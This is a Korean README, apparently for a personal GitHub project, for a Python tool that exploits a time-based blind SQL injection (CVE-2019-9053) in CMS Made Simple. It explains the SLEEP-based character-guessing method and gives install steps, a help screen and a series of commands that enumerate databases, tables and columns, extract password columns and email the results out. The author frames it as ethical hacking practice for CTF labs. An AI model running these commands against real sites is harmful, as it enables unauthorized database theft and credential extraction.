
MySQL용 시간 기반 블라인드 SQL 인젝션 도구 - CVE-2019-9053
MySQLi.py는 TryHackMe의 SimpleCTF 룸에서 사용된 Exploit-DB exploit 46635에서 영감을 받은 개인 연습 프로젝트입니다.
원본 익스플로잇에서 제 관심을 끈 것은 자격 증명을 추출하고 비밀번호 해시까지 자동으로 크래킹하는 기능이었습니다. 그 동기로 저는 더 현대적이고, 더 나은 인터페이스와 더 많은 사용자 지정 옵션을 갖춘 제 버전을 직접 작성하고 싶었습니다. 이미 이런 도구가 존재할 수도 있지만, 이 작은 프로그램이 윤리적 해킹 세계에 또 하나의 기여가 되기를 바랍니다!
이 도구는 CVE-2019-9053, 즉 CMS Made Simple < 2.2.10의 취약점을 악용합니다. 이 취약점은 인증 없이도 시간 기반 블라인드 SQL 인젝션에 취약한 필터링되지 않은 파라미터를 노출합니다. 웹 응답이 데이터를 직접 표시하지 않기 때문에, IF(SUBSTRING(...), SLEEP(n), 0) 조건을 주입하고 응답 시간을 측정하여 데이터베이스, 테이블, 컬럼 및 데이터에서 각 문자를 하나씩 추측하는 방식으로 작동합니다.
MySQLi 데모
pip install -r requirements.txt
--email 플래그를 사용하려면 같은 디렉터리에 .env 파일을 만드세요.
.env.example의 템플릿을 사용하세요:
[email protected]
GMAIL_PASS=xxxx xxxx xxxx xxxx
비밀번호는 일반 Gmail 비밀번호가 아닌 Google 앱 비밀번호여야 합니다. 다음에서 생성할 수 있습니다: myaccount.google.com/apppasswords
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] Time-Based Blind SQL Injection for MySQL
Author: Isaac Muñoz - @rgkue | Github: github.com/rgkue/mysqli
Options:
--url <url> Target URL (required)
--mode <mode> Attack mode: database / tables / columns / exfil
--sleep <seconds> Sleep time for time-based injection (default: 5)
--delay <seconds> Delay between requests
--field <name> Vulnerable form field name (default: username)
--max <positions> Max character positions to extract (default: 40)
--table <name> Table name (required for columns/exfil)
--column <name> Column name (required for exfil)
--offset <n> Row offset - 0=first, 1=second... (default: 0)
--email <address> Send results to email (optional)
--output <file> Save data on a file
--help, -h Show this help message and exit
Examples:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email [email protected]
# 1. Get the active database name
python3 mysqli.py --url http://target/login.php --mode database
# 2. List tables (use --offset to iterate)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. List columns from a table
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. Extract data from a column
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. Run multiple modes in one command
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. Save results to a file
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. Send report by email
python3 mysqli.py --url http://target/login.php --mode database,tables --email [email protected]
# 8. Custom injection field
python3 mysqli.py --url http://target/search.php --mode database --field search
MySQLi.py는 교육 목적과 보안 테스트를 수행할 수 있는 명시적 권한이 있는 환경에서만 사용하도록 설계되었습니다.
소유자의 사전 서면 승인 없이 이 도구를 시스템에 사용하는 것은 불법이며, 많은 국가의 법률에 따라 범죄 행위가 될 수 있습니다. 저자는 이 소프트웨어의 오용으로 인해 발생하는 손해, 데이터 손실, 법적 결과 또는 기타 어떠한 피해에 대해서도 책임을 지지 않습니다.
자신의 실습 환경, CTF 환경, TryHackMe 또는 HackTheBox 같은 연습 플랫폼, 또는 테스트가 승인된 시스템에서만 사용하세요.
즐거운 해킹 되세요! :)